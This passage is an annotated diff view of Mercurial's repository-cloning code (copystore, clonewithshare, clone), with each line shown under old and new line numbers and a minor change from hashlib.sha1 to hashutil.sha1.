399 checkout = update
398 checkout = update
400 for test in (checkout, b'default', b'tip'):
399 for test in (checkout, b'default', b'tip'):
401 if test is None:
400 if test is None:
402 continue
401 continue
403 try:
402 try:
404 uprev = repo.lookup(test)
403 uprev = repo.lookup(test)
405 break
404 break
406 except error.RepoLookupError:
405 except error.RepoLookupError:
407 continue
406 continue
408 _update(repo, uprev)
407 _update(repo, uprev)
409
408
410
409
411 def copystore(ui, srcrepo, destpath):
410 def copystore(ui, srcrepo, destpath):
412 '''copy files from store of srcrepo in destpath
411 '''copy files from store of srcrepo in destpath
413
412
414 returns destlock
413 returns destlock
415 '''
414 '''
416 destlock = None
415 destlock = None
417 try:
416 try:
418 hardlink = None
417 hardlink = None
419 topic = _(b'linking') if hardlink else _(b'copying')
418 topic = _(b'linking') if hardlink else _(b'copying')
420 with ui.makeprogress(topic, unit=_(b'files')) as progress:
419 with ui.makeprogress(topic, unit=_(b'files')) as progress:
421 num = 0
420 num = 0
422 srcpublishing = srcrepo.publishing()
421 srcpublishing = srcrepo.publishing()
423 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
422 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
424 dstvfs = vfsmod.vfs(destpath)
423 dstvfs = vfsmod.vfs(destpath)
425 for f in srcrepo.store.copylist():
424 for f in srcrepo.store.copylist():
426 if srcpublishing and f.endswith(b'phaseroots'):
425 if srcpublishing and f.endswith(b'phaseroots'):
427 continue
426 continue
428 dstbase = os.path.dirname(f)
427 dstbase = os.path.dirname(f)
429 if dstbase and not dstvfs.exists(dstbase):
428 if dstbase and not dstvfs.exists(dstbase):
430 dstvfs.mkdir(dstbase)
429 dstvfs.mkdir(dstbase)
431 if srcvfs.exists(f):
430 if srcvfs.exists(f):
432 if f.endswith(b'data'):
431 if f.endswith(b'data'):
433 # 'dstbase' may be empty (e.g. revlog format 0)
432 # 'dstbase' may be empty (e.g. revlog format 0)
434 lockfile = os.path.join(dstbase, b"lock")
433 lockfile = os.path.join(dstbase, b"lock")
435 # lock to avoid premature writing to the target
434 # lock to avoid premature writing to the target
436 destlock = lock.lock(dstvfs, lockfile)
435 destlock = lock.lock(dstvfs, lockfile)
437 hardlink, n = util.copyfiles(
436 hardlink, n = util.copyfiles(
438 srcvfs.join(f), dstvfs.join(f), hardlink, progress
437 srcvfs.join(f), dstvfs.join(f), hardlink, progress
439 )
438 )
440 num += n
439 num += n
441 if hardlink:
440 if hardlink:
442 ui.debug(b"linked %d files\n" % num)
441 ui.debug(b"linked %d files\n" % num)
443 else:
442 else:
444 ui.debug(b"copied %d files\n" % num)
443 ui.debug(b"copied %d files\n" % num)
445 return destlock
444 return destlock
446 except: # re-raises
445 except: # re-raises
447 release(destlock)
446 release(destlock)
448 raise
447 raise
449
448
450
449
451 def clonewithshare(
450 def clonewithshare(
452 ui,
451 ui,
453 peeropts,
452 peeropts,
454 sharepath,
453 sharepath,
455 source,
454 source,
456 srcpeer,
455 srcpeer,
457 dest,
456 dest,
458 pull=False,
457 pull=False,
459 rev=None,
458 rev=None,
460 update=True,
459 update=True,
461 stream=False,
460 stream=False,
462 ):
461 ):
463 """Perform a clone using a shared repo.
462 """Perform a clone using a shared repo.
464
463
465 The store for the repository will be located at <sharepath>/.hg. The
464 The store for the repository will be located at <sharepath>/.hg. The
466 specified revisions will be cloned or pulled from "source". A shared repo
465 specified revisions will be cloned or pulled from "source". A shared repo
467 will be created at "dest" and a working copy will be created if "update" is
466 will be created at "dest" and a working copy will be created if "update" is
468 True.
467 True.
469 """
468 """
470 revs = None
469 revs = None
471 if rev:
470 if rev:
472 if not srcpeer.capable(b'lookup'):
471 if not srcpeer.capable(b'lookup'):
473 raise error.Abort(
472 raise error.Abort(
474 _(
473 _(
475 b"src repository does not support "
474 b"src repository does not support "
476 b"revision lookup and so doesn't "
475 b"revision lookup and so doesn't "
477 b"support clone by revision"
476 b"support clone by revision"
478 )
477 )
479 )
478 )
480
479
481 # TODO this is batchable.
480 # TODO this is batchable.
482 remoterevs = []
481 remoterevs = []
483 for r in rev:
482 for r in rev:
484 with srcpeer.commandexecutor() as e:
483 with srcpeer.commandexecutor() as e:
485 remoterevs.append(
484 remoterevs.append(
486 e.callcommand(b'lookup', {b'key': r,}).result()
485 e.callcommand(b'lookup', {b'key': r,}).result()
487 )
486 )
488 revs = remoterevs
487 revs = remoterevs
489
488
490 # Obtain a lock before checking for or cloning the pooled repo otherwise
489 # Obtain a lock before checking for or cloning the pooled repo otherwise
491 # 2 clients may race creating or populating it.
490 # 2 clients may race creating or populating it.
492 pooldir = os.path.dirname(sharepath)
491 pooldir = os.path.dirname(sharepath)
493 # lock class requires the directory to exist.
492 # lock class requires the directory to exist.
494 try:
493 try:
495 util.makedir(pooldir, False)
494 util.makedir(pooldir, False)
496 except OSError as e:
495 except OSError as e:
497 if e.errno != errno.EEXIST:
496 if e.errno != errno.EEXIST:
498 raise
497 raise
499
498
500 poolvfs = vfsmod.vfs(pooldir)
499 poolvfs = vfsmod.vfs(pooldir)
501 basename = os.path.basename(sharepath)
500 basename = os.path.basename(sharepath)
502
501
503 with lock.lock(poolvfs, b'%s.lock' % basename):
502 with lock.lock(poolvfs, b'%s.lock' % basename):
504 if os.path.exists(sharepath):
503 if os.path.exists(sharepath):
505 ui.status(
504 ui.status(
506 _(b'(sharing from existing pooled repository %s)\n') % basename
505 _(b'(sharing from existing pooled repository %s)\n') % basename
507 )
506 )
508 else:
507 else:
509 ui.status(
508 ui.status(
510 _(b'(sharing from new pooled repository %s)\n') % basename
509 _(b'(sharing from new pooled repository %s)\n') % basename
511 )
510 )
512 # Always use pull mode because hardlinks in share mode don't work
511 # Always use pull mode because hardlinks in share mode don't work
513 # well. Never update because working copies aren't necessary in
512 # well. Never update because working copies aren't necessary in
514 # share mode.
513 # share mode.
515 clone(
514 clone(
516 ui,
515 ui,
517 peeropts,
516 peeropts,
518 source,
517 source,
519 dest=sharepath,
518 dest=sharepath,
520 pull=True,
519 pull=True,
521 revs=rev,
520 revs=rev,
522 update=False,
521 update=False,
523 stream=stream,
522 stream=stream,
524 )
523 )
525
524
526 # Resolve the value to put in [paths] section for the source.
525 # Resolve the value to put in [paths] section for the source.
527 if islocal(source):
526 if islocal(source):
528 defaultpath = os.path.abspath(util.urllocalpath(source))
527 defaultpath = os.path.abspath(util.urllocalpath(source))
529 else:
528 else:
530 defaultpath = source
529 defaultpath = source
531
530
532 sharerepo = repository(ui, path=sharepath)
531 sharerepo = repository(ui, path=sharepath)
533 destrepo = share(
532 destrepo = share(
534 ui,
533 ui,
535 sharerepo,
534 sharerepo,
536 dest=dest,
535 dest=dest,
537 update=False,
536 update=False,
538 bookmarks=False,
537 bookmarks=False,
539 defaultpath=defaultpath,
538 defaultpath=defaultpath,
540 )
539 )
541
540
542 # We need to perform a pull against the dest repo to fetch bookmarks
541 # We need to perform a pull against the dest repo to fetch bookmarks
543 # and other non-store data that isn't shared by default. In the case of
542 # and other non-store data that isn't shared by default. In the case of
544 # non-existing shared repo, this means we pull from the remote twice. This
543 # non-existing shared repo, this means we pull from the remote twice. This
545 # is a bit weird. But at the time it was implemented, there wasn't an easy
544 # is a bit weird. But at the time it was implemented, there wasn't an easy
546 # way to pull just non-changegroup data.
545 # way to pull just non-changegroup data.
547 exchange.pull(destrepo, srcpeer, heads=revs)
546 exchange.pull(destrepo, srcpeer, heads=revs)
548
547
549 _postshareupdate(destrepo, update)
548 _postshareupdate(destrepo, update)
550
549
551 return srcpeer, peer(ui, peeropts, dest)
550 return srcpeer, peer(ui, peeropts, dest)
552
551
553
552
554 # Recomputing branch cache might be slow on big repos,
553 # Recomputing branch cache might be slow on big repos,
555 # so just copy it
554 # so just copy it
556 def _copycache(srcrepo, dstcachedir, fname):
555 def _copycache(srcrepo, dstcachedir, fname):
557 """copy a cache from srcrepo to destcachedir (if it exists)"""
556 """copy a cache from srcrepo to destcachedir (if it exists)"""
558 srcbranchcache = srcrepo.vfs.join(b'cache/%s' % fname)
557 srcbranchcache = srcrepo.vfs.join(b'cache/%s' % fname)
559 dstbranchcache = os.path.join(dstcachedir, fname)
558 dstbranchcache = os.path.join(dstcachedir, fname)
560 if os.path.exists(srcbranchcache):
559 if os.path.exists(srcbranchcache):
561 if not os.path.exists(dstcachedir):
560 if not os.path.exists(dstcachedir):
562 os.mkdir(dstcachedir)
561 os.mkdir(dstcachedir)
563 util.copyfile(srcbranchcache, dstbranchcache)
562 util.copyfile(srcbranchcache, dstbranchcache)
564
563
565
564
566 def clone(
565 def clone(
567 ui,
566 ui,
568 peeropts,
567 peeropts,
569 source,
568 source,
570 dest=None,
569 dest=None,
571 pull=False,
570 pull=False,
572 revs=None,
571 revs=None,
573 update=True,
572 update=True,
574 stream=False,
573 stream=False,
575 branch=None,
574 branch=None,
576 shareopts=None,
575 shareopts=None,
577 storeincludepats=None,
576 storeincludepats=None,
578 storeexcludepats=None,
577 storeexcludepats=None,
579 depth=None,
578 depth=None,
580 ):
579 ):
581 """Make a copy of an existing repository.
580 """Make a copy of an existing repository.
582
581
583 Create a copy of an existing repository in a new directory. The
582 Create a copy of an existing repository in a new directory. The
584 source and destination are URLs, as passed to the repository
583 source and destination are URLs, as passed to the repository
585 function. Returns a pair of repository peers, the source and
584 function. Returns a pair of repository peers, the source and
586 newly created destination.
585 newly created destination.
587
586
588 The location of the source is added to the new repository's
587 The location of the source is added to the new repository's
589 .hg/hgrc file, as the default to be used for future pulls and
588 .hg/hgrc file, as the default to be used for future pulls and
590 pushes.
589 pushes.
591
590
592 If an exception is raised, the partly cloned/updated destination
591 If an exception is raised, the partly cloned/updated destination
593 repository will be deleted.
592 repository will be deleted.
594
593
595 Arguments:
594 Arguments:
596
595
597 source: repository object or URL
596 source: repository object or URL
598
597
599 dest: URL of destination repository to create (defaults to base
598 dest: URL of destination repository to create (defaults to base
600 name of source repository)
599 name of source repository)
601
600
602 pull: always pull from source repository, even in local case or if the
601 pull: always pull from source repository, even in local case or if the
603 server prefers streaming
602 server prefers streaming
604
603
605 stream: stream raw data uncompressed from repository (fast over
604 stream: stream raw data uncompressed from repository (fast over
606 LAN, slow over WAN)
605 LAN, slow over WAN)
607
606
608 revs: revision to clone up to (implies pull=True)
607 revs: revision to clone up to (implies pull=True)
609
608
610 update: update working directory after clone completes, if
609 update: update working directory after clone completes, if
611 destination is local repository (True means update to default rev,
610 destination is local repository (True means update to default rev,
612 anything else is treated as a revision)
611 anything else is treated as a revision)
613
612
614 branch: branches to clone
613 branch: branches to clone
615
614
616 shareopts: dict of options to control auto sharing behavior. The "pool" key
615 shareopts: dict of options to control auto sharing behavior. The "pool" key
617 activates auto sharing mode and defines the directory for stores. The
616 activates auto sharing mode and defines the directory for stores. The
618 "mode" key determines how to construct the directory name of the shared
617 "mode" key determines how to construct the directory name of the shared
619 repository. "identity" means the name is derived from the node of the first
618 repository. "identity" means the name is derived from the node of the first
620 changeset in the repository. "remote" means the name is derived from the
619 changeset in the repository. "remote" means the name is derived from the
621 remote's path/URL. Defaults to "identity."
620 remote's path/URL. Defaults to "identity."
622
621
623 storeincludepats and storeexcludepats: sets of file patterns to include and
622 storeincludepats and storeexcludepats: sets of file patterns to include and
624 exclude in the repository copy, respectively. If not defined, all files
623 exclude in the repository copy, respectively. If not defined, all files
625 will be included (a "full" clone). Otherwise a "narrow" clone containing
624 will be included (a "full" clone). Otherwise a "narrow" clone containing
626 only the requested files will be performed. If ``storeincludepats`` is not
625 only the requested files will be performed. If ``storeincludepats`` is not
627 defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
626 defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
628 ``path:.``. If both are empty sets, no files will be cloned.
627 ``path:.``. If both are empty sets, no files will be cloned.
629 """
628 """
630
629
631 if isinstance(source, bytes):
630 if isinstance(source, bytes):
632 origsource = ui.expandpath(source)
631 origsource = ui.expandpath(source)
633 source, branches = parseurl(origsource, branch)
632 source, branches = parseurl(origsource, branch)
634 srcpeer = peer(ui, peeropts, source)
633 srcpeer = peer(ui, peeropts, source)
635 else:
634 else:
636 srcpeer = source.peer() # in case we were called with a localrepo
635 srcpeer = source.peer() # in case we were called with a localrepo
637 branches = (None, branch or [])
636 branches = (None, branch or [])
638 origsource = source = srcpeer.url()
637 origsource = source = srcpeer.url()
639 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
638 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
640
639
641 if dest is None:
640 if dest is None:
642 dest = defaultdest(source)
641 dest = defaultdest(source)
643 if dest:
642 if dest:
644 ui.status(_(b"destination directory: %s\n") % dest)
643 ui.status(_(b"destination directory: %s\n") % dest)
645 else:
644 else:
646 dest = ui.expandpath(dest)
645 dest = ui.expandpath(dest)
647
646
648 dest = util.urllocalpath(dest)
647 dest = util.urllocalpath(dest)
649 source = util.urllocalpath(source)
648 source = util.urllocalpath(source)
650
649
651 if not dest:
650 if not dest:
652 raise error.Abort(_(b"empty destination path is not valid"))
651 raise error.Abort(_(b"empty destination path is not valid"))
653
652
654 destvfs = vfsmod.vfs(dest, expandpath=True)
653 destvfs = vfsmod.vfs(dest, expandpath=True)
655 if destvfs.lexists():
654 if destvfs.lexists():
656 if not destvfs.isdir():
655 if not destvfs.isdir():
657 raise error.Abort(_(b"destination '%s' already exists") % dest)
656 raise error.Abort(_(b"destination '%s' already exists") % dest)
658 elif destvfs.listdir():
657 elif destvfs.listdir():
659 raise error.Abort(_(b"destination '%s' is not empty") % dest)
658 raise error.Abort(_(b"destination '%s' is not empty") % dest)
660
659
661 createopts = {}
660 createopts = {}
662 narrow = False
661 narrow = False
663
662
664 if storeincludepats is not None:
663 if storeincludepats is not None:
665 narrowspec.validatepatterns(storeincludepats)
664 narrowspec.validatepatterns(storeincludepats)
666 narrow = True
665 narrow = True
667
666
668 if storeexcludepats is not None:
667 if storeexcludepats is not None:
669 narrowspec.validatepatterns(storeexcludepats)
668 narrowspec.validatepatterns(storeexcludepats)
670 narrow = True
669 narrow = True
671
670
672 if narrow:
671 if narrow:
673 # Include everything by default if only exclusion patterns defined.
672 # Include everything by default if only exclusion patterns defined.
674 if storeexcludepats and not storeincludepats:
673 if storeexcludepats and not storeincludepats:
675 storeincludepats = {b'path:.'}
674 storeincludepats = {b'path:.'}
676
675
677 createopts[b'narrowfiles'] = True
676 createopts[b'narrowfiles'] = True
678
677
679 if depth:
678 if depth:
680 createopts[b'shallowfilestore'] = True
679 createopts[b'shallowfilestore'] = True
681
680
682 if srcpeer.capable(b'lfs-serve'):
681 if srcpeer.capable(b'lfs-serve'):
683 # Repository creation honors the config if it disabled the extension, so
682 # Repository creation honors the config if it disabled the extension, so
684 # we can't just announce that lfs will be enabled. This check avoids
683 # we can't just announce that lfs will be enabled. This check avoids
685 # saying that lfs will be enabled, and then saying it's an unknown
684 # saying that lfs will be enabled, and then saying it's an unknown
686 # feature. The lfs creation option is set in either case so that a
685 # feature. The lfs creation option is set in either case so that a
687 # requirement is added. If the extension is explicitly disabled but the
686 # requirement is added. If the extension is explicitly disabled but the
688 # requirement is set, the clone aborts early, before transferring any
687 # requirement is set, the clone aborts early, before transferring any
689 # data.
688 # data.
690 createopts[b'lfs'] = True
689 createopts[b'lfs'] = True
691
690
692 if extensions.disabledext(b'lfs'):
691 if extensions.disabledext(b'lfs'):
693 ui.status(
692 ui.status(
694 _(
693 _(
695 b'(remote is using large file support (lfs), but it is '
694 b'(remote is using large file support (lfs), but it is '
696 b'explicitly disabled in the local configuration)\n'
695 b'explicitly disabled in the local configuration)\n'
697 )
696 )
698 )
697 )
699 else:
698 else:
700 ui.status(
699 ui.status(
701 _(
700 _(
702 b'(remote is using large file support (lfs); lfs will '
701 b'(remote is using large file support (lfs); lfs will '
703 b'be enabled for this repository)\n'
702 b'be enabled for this repository)\n'
704 )
703 )
705 )
704 )
706
705
707 shareopts = shareopts or {}
706 shareopts = shareopts or {}
708 sharepool = shareopts.get(b'pool')
707 sharepool = shareopts.get(b'pool')
709 sharenamemode = shareopts.get(b'mode')
708 sharenamemode = shareopts.get(b'mode')
710 if sharepool and islocal(dest):
709 if sharepool and islocal(dest):
711 sharepath = None
710 sharepath = None
712 if sharenamemode == b'identity':
711 if sharenamemode == b'identity':
713 # Resolve the name from the initial changeset in the remote
712 # Resolve the name from the initial changeset in the remote
714 # repository. This returns nullid when the remote is empty. It
713 # repository. This returns nullid when the remote is empty. It
715 # raises RepoLookupError if revision 0 is filtered or otherwise
714 # raises RepoLookupError if revision 0 is filtered or otherwise
716 # not available. If we fail to resolve, sharing is not enabled.
715 # not available. If we fail to resolve, sharing is not enabled.
717 try:
716 try:
718 with srcpeer.commandexecutor() as e:
717 with srcpeer.commandexecutor() as e:
719 rootnode = e.callcommand(
718 rootnode = e.callcommand(
720 b'lookup', {b'key': b'0',}
719 b'lookup', {b'key': b'0',}
721 ).result()
720 ).result()
722
721
723 if rootnode != node.nullid:
722 if rootnode != node.nullid:
724 sharepath = os.path.join(sharepool, node.hex(rootnode))
723 sharepath = os.path.join(sharepool, node.hex(rootnode))
725 else:
724 else:
726 ui.status(
725 ui.status(
727 _(
726 _(
728 b'(not using pooled storage: '
727 b'(not using pooled storage: '
729 b'remote appears to be empty)\n'
728 b'remote appears to be empty)\n'
730 )
729 )
731 )
730 )
732 except error.RepoLookupError:
731 except error.RepoLookupError:
733 ui.status(
732 ui.status(
734 _(
733 _(
735 b'(not using pooled storage: '
734 b'(not using pooled storage: '
736 b'unable to resolve identity of remote)\n'
735 b'unable to resolve identity of remote)\n'
737 )
736 )
738 )
737 )
739 elif sharenamemode == b'remote':
738 elif sharenamemode == b'remote':
740 sharepath = os.path.join(
739 sharepath = os.path.join(
741 sharepool, node.hex(hashlib.sha1(source).digest())
740 sharepool, node.hex(hashutil.sha1(source).digest())
742 )
741 )
743 else:
742 else:
744 raise error.Abort(
743 raise error.Abort(
745 _(b'unknown share naming mode: %s') % sharenamemode
744 _(b'unknown share naming mode: %s') % sharenamemode
746 )
745 )
747
746
748 # TODO this is a somewhat arbitrary restriction.
747 # TODO this is a somewhat arbitrary restriction.
749 if narrow:
748 if narrow:
750 ui.status(_(b'(pooled storage not supported for narrow clones)\n'))
749 ui.status(_(b'(pooled storage not supported for narrow clones)\n'))
751 sharepath = None
750 sharepath = None
752
751
753 if sharepath:
752 if sharepath:
754 return clonewithshare(
753 return clonewithshare(
755 ui,
754 ui,
756 peeropts,
755 peeropts,
757 sharepath,
756 sharepath,
758 source,
757 source,
759 srcpeer,
758 srcpeer,
760 dest,
759 dest,
761 pull=pull,
760 pull=pull,
762 rev=revs,
761 rev=revs,
763 update=update,
762 update=update,
764 stream=stream,
763 stream=stream,
765 )
764 )
766
765
767 srclock = destlock = cleandir = None
766 srclock = destlock = cleandir = None
768 srcrepo = srcpeer.local()
767 srcrepo = srcpeer.local()
769 try:
768 try:
770 abspath = origsource
769 abspath = origsource
771 if islocal(origsource):
770 if islocal(origsource):
772 abspath = os.path.abspath(util.urllocalpath(origsource))
771 abspath = os.path.abspath(util.urllocalpath(origsource))
773
772
774 if islocal(dest):
773 if islocal(dest):
775 cleandir = dest
774 cleandir = dest
776
775
777 copy = False
776 copy = False
778 if (
777 if (
779 srcrepo
778 srcrepo
780 and srcrepo.cancopy()
779 and srcrepo.cancopy()
781 and islocal(dest)
780 and islocal(dest)
782 and not phases.hassecret(srcrepo)
781 and not phases.hassecret(srcrepo)
783 ):
782 ):
784 copy = not pull and not revs
783 copy = not pull and not revs
785
784
786 # TODO this is a somewhat arbitrary restriction.
785 # TODO this is a somewhat arbitrary restriction.
787 if narrow:
786 if narrow:
788 copy = False
787 copy = False
789
788
790 if copy:
789 if copy:
791 try:
790 try:
792 # we use a lock here because if we race with commit, we
791 # we use a lock here because if we race with commit, we
793 # can end up with extra data in the cloned revlogs that's
792 # can end up with extra data in the cloned revlogs that's
794 # not pointed to by changesets, thus causing verify to
793 # not pointed to by changesets, thus causing verify to
795 # fail
794 # fail
796 srclock = srcrepo.lock(wait=False)
795 srclock = srcrepo.lock(wait=False)
797 except error.LockError:
796 except error.LockError:
798 copy = False
797 copy = False
799
798
800 if copy:
799 if copy:
801 srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
800 srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
802 hgdir = os.path.realpath(os.path.join(dest, b".hg"))
801 hgdir = os.path.realpath(os.path.join(dest, b".hg"))
803 if not os.path.exists(dest):
802 if not os.path.exists(dest):
804 util.makedirs(dest)
803 util.makedirs(dest)
805 else:
804 else:
806 # only clean up directories we create ourselves
805 # only clean up directories we create ourselves
807 cleandir = hgdir
806 cleandir = hgdir
808 try:
807 try:
809 destpath = hgdir
808 destpath = hgdir
810 util.makedir(destpath, notindexed=True)
809 util.makedir(destpath, notindexed=True)
811 except OSError as inst:
810 except OSError as inst:
812 if inst.errno == errno.EEXIST:
811 if inst.errno == errno.EEXIST:
813 cleandir = None
812 cleandir = None
814 raise error.Abort(
813 raise error.Abort(
815 _(b"destination '%s' already exists") % dest
814 _(b"destination '%s' already exists") % dest
816 )
815 )
817 raise
816 raise
818
817
819 destlock = copystore(ui, srcrepo, destpath)
818 destlock = copystore(ui, srcrepo, destpath)
820 # copy bookmarks over
819 # copy bookmarks over
821 srcbookmarks = srcrepo.vfs.join(b'bookmarks')
820 srcbookmarks = srcrepo.vfs.join(b'bookmarks')
822 dstbookmarks = os.path.join(destpath, b'bookmarks')
821 dstbookmarks = os.path.join(destpath, b'bookmarks')
823 if os.path.exists(srcbookmarks):
822 if os.path.exists(srcbookmarks):
824 util.copyfile(srcbookmarks, dstbookmarks)
823 util.copyfile(srcbookmarks, dstbookmarks)
825
824
826 dstcachedir = os.path.join(destpath, b'cache')
825 dstcachedir = os.path.join(destpath, b'cache')
827 for cache in cacheutil.cachetocopy(srcrepo):
826 for cache in cacheutil.cachetocopy(srcrepo):
828 _copycache(srcrepo, dstcachedir, cache)
827 _copycache(srcrepo, dstcachedir, cache)
829
828
830 # we need to re-init the repo after manually copying the data
829 # we need to re-init the repo after manually copying the data
831 # into it
830 # into it
832 destpeer = peer(srcrepo, peeropts, dest)
831 destpeer = peer(srcrepo, peeropts, dest)
833 srcrepo.hook(
832 srcrepo.hook(
834 b'outgoing', source=b'clone', node=node.hex(node.nullid)
833 b'outgoing', source=b'clone', node=node.hex(node.nullid)
835 )
834 )
836 else:
835 else:
837 try:
836 try:
838 # only pass ui when no srcrepo
837 # only pass ui when no srcrepo
839 destpeer = peer(
838 destpeer = peer(
840 srcrepo or ui,
839 srcrepo or ui,
841 peeropts,
840 peeropts,
842 dest,
841 dest,
843 create=True,
842 create=True,
844 createopts=createopts,
843 createopts=createopts,
845 )
844 )
846 except OSError as inst:
845 except OSError as inst:
847 if inst.errno == errno.EEXIST:
846 if inst.errno == errno.EEXIST:
848 cleandir = None
847 cleandir = None
849 raise error.Abort(
848 raise error.Abort(
850 _(b"destination '%s' already exists") % dest
849 _(b"destination '%s' already exists") % dest
851 )
850 )
852 raise
851 raise
853
852
854 if revs:
853 if revs:
855 if not srcpeer.capable(b'lookup'):
854 if not srcpeer.capable(b'lookup'):
856 raise error.Abort(
855 raise error.Abort(
857 _(
856 _(
858 b"src repository does not support "
857 b"src repository does not support "
859 b"revision lookup and so doesn't "
858 b"revision lookup and so doesn't "
860 b"support clone by revision"
859 b"support clone by revision"
861 )
860 )
862 )
861 )
863
862
864 # TODO this is batchable.
863 # TODO this is batchable.
865 remoterevs = []
864 remoterevs = []
866 for rev in revs:
865 for rev in revs:
867 with srcpeer.commandexecutor() as e:
866 with srcpeer.commandexecutor() as e:
868 remoterevs.append(
867 remoterevs.append(
869 e.callcommand(b'lookup', {b'key': rev,}).result()
868 e.callcommand(b'lookup', {b'key': rev,}).result()
870 )
869 )
871 revs = remoterevs
870 revs = remoterevs
872
871
873 checkout = revs[0]
872 checkout = revs[0]
874 else:
873 else:
875 revs = None
874 revs = None
876 local = destpeer.local()
875 local = destpeer.local()
877 if local:
876 if local:
878 if narrow:
877 if narrow:
879 with local.wlock(), local.lock():
878 with local.wlock(), local.lock():
880 local.setnarrowpats(storeincludepats, storeexcludepats)
879 local.setnarrowpats(storeincludepats, storeexcludepats)
881 narrowspec.copytoworkingcopy(local)
880 narrowspec.copytoworkingcopy(local)
882
881
883 u = util.url(abspath)
882 u = util.url(abspath)
884 defaulturl = bytes(u)
883 defaulturl = bytes(u)
885 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
884 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
886 if not stream:
885 if not stream:
887 if pull:
886 if pull:
888 stream = False
887 stream = False
889 else:
888 else:
890 stream = None
889 stream = None
891 # internal config: ui.quietbookmarkmove
890 # internal config: ui.quietbookmarkmove
892 overrides = {(b'ui', b'quietbookmarkmove'): True}
891 overrides = {(b'ui', b'quietbookmarkmove'): True}
893 with local.ui.configoverride(overrides, b'clone'):
892 with local.ui.configoverride(overrides, b'clone'):
894 exchange.pull(
893 exchange.pull(
895 local,
894 local,
896 srcpeer,
895 srcpeer,
897 revs,
896 revs,
898 streamclonerequested=stream,
897 streamclonerequested=stream,
899 includepats=storeincludepats,
898 includepats=storeincludepats,
900 excludepats=storeexcludepats,
899 excludepats=storeexcludepats,
901 depth=depth,
900 depth=depth,
902 )
901 )
903 elif srcrepo:
902 elif srcrepo:
904 # TODO lift restriction once exchange.push() accepts narrow
903 # TODO lift restriction once exchange.push() accepts narrow
905 # push.
904 # push.
906 if narrow:
905 if narrow:
907 raise error.Abort(
906 raise error.Abort(
908 _(
907 _(
909 b'narrow clone not available for '
908 b'narrow clone not available for '
910 b'remote destinations'
909 b'remote destinations'
911 )
910 )
912 )
911 )
913
912
914 exchange.push(
913 exchange.push(
915 srcrepo,
914 srcrepo,
916 destpeer,
915 destpeer,
917 revs=revs,
916 revs=revs,
918 bookmarks=srcrepo._bookmarks.keys(),
917 bookmarks=srcrepo._bookmarks.keys(),
919 )
918 )
920 else:
919 else:
921 raise error.Abort(
920 raise error.Abort(
922 _(b"clone from remote to remote not supported")
921 _(b"clone from remote to remote not supported")
923 )
922 )
924
923
925 cleandir = None
924 cleandir = None
926
925
927 destrepo = destpeer.local()
926 destrepo = destpeer.local()
928 if destrepo:
927 if destrepo:
929 template = uimod.samplehgrcs[b'cloned']
928 template = uimod.samplehgrcs[b'cloned']
930 u = util.url(abspath)
929 u = util.url(abspath)
931 u.passwd = None
930 u.passwd = None
932 defaulturl = bytes(u)
931 defaulturl = bytes(u)
933 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
932 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
934 destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
933 destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
935
934
936 if ui.configbool(b'experimental', b'remotenames'):
935 if ui.configbool(b'experimental', b'remotenames'):
937 logexchange.pullremotenames(destrepo, srcpeer)
936 logexchange.pullremotenames(destrepo, srcpeer)
938
937
939 if update:
938 if update:
940 if update is not True:
939 if update is not True:
941 with srcpeer.commandexecutor() as e:
940 with srcpeer.commandexecutor() as e:
942 checkout = e.callcommand(
941 checkout = e.callcommand(
943 b'lookup', {b'key': update,}
942 b'lookup', {b'key': update,}
944 ).result()
943 ).result()
945
944
946 uprev = None
945 uprev = None
947 status = None
946 status = None
948 if checkout is not None:
947 if checkout is not None:
949 # Some extensions (at least hg-git and hg-subversion) have
948 # Some extensions (at least hg-git and hg-subversion) have
950 # a peer.lookup() implementation that returns a name instead
949 # a peer.lookup() implementation that returns a name instead
951 # of a nodeid. We work around it here until we've figured
950 # of a nodeid. We work around it here until we've figured
952 # out a better solution.
951 # out a better solution.
953 if len(checkout) == 20 and checkout in destrepo:
952 if len(checkout) == 20 and checkout in destrepo:
954 uprev = checkout
953 uprev = checkout
955 elif scmutil.isrevsymbol(destrepo, checkout):
954 elif scmutil.isrevsymbol(destrepo, checkout):
956 uprev = scmutil.revsymbol(destrepo, checkout).node()
955 uprev = scmutil.revsymbol(destrepo, checkout).node()
957 else:
956 else:
958 if update is not True:
957 if update is not True:
959 try:
958 try:
960 uprev = destrepo.lookup(update)
959 uprev = destrepo.lookup(update)
961 except error.RepoLookupError:
960 except error.RepoLookupError:
962 pass
961 pass
963 if uprev is None:
962 if uprev is None:
964 try:
963 try:
965 uprev = destrepo._bookmarks[b'@']
964 uprev = destrepo._bookmarks[b'@']
966 update = b'@'
965 update = b'@'
967 bn = destrepo[uprev].branch()
966 bn = destrepo[uprev].branch()
968 if bn == b'default':
967 if bn == b'default':
969 status = _(b"updating to bookmark @\n")
968 status = _(b"updating to bookmark @\n")
970 else:
969 else:
971 status = (
970 status = (
972 _(b"updating to bookmark @ on branch %s\n") % bn
971 _(b"updating to bookmark @ on branch %s\n") % bn
973 )
972 )
974 except KeyError:
973 except KeyError:
975 try:
974 try:
976 uprev = destrepo.branchtip(b'default')
975 uprev = destrepo.branchtip(b'default')
977 except error.RepoLookupError:
976 except error.RepoLookupError:
978 uprev = destrepo.lookup(b'tip')
977 uprev = destrepo.lookup(b'tip')
979 if not status:
978 if not status:
980 bn = destrepo[uprev].branch()
979 bn = destrepo[uprev].branch()
981 status = _(b"updating to branch %s\n") % bn
980 status = _(b"updating to branch %s\n") % bn
982 destrepo.ui.status(status)
981 destrepo.ui.status(status)
983 _update(destrepo, uprev)
982 _update(destrepo, uprev)
984 if update in destrepo._bookmarks:
983 if update in destrepo._bookmarks:
985 bookmarks.activate(destrepo, update)
984 bookmarks.activate(destrepo, update)
986 finally:
985 finally:
987 release(srclock, destlock)
986 release(srclock, destlock)
988 if cleandir is not None:
987 if cleandir is not None:
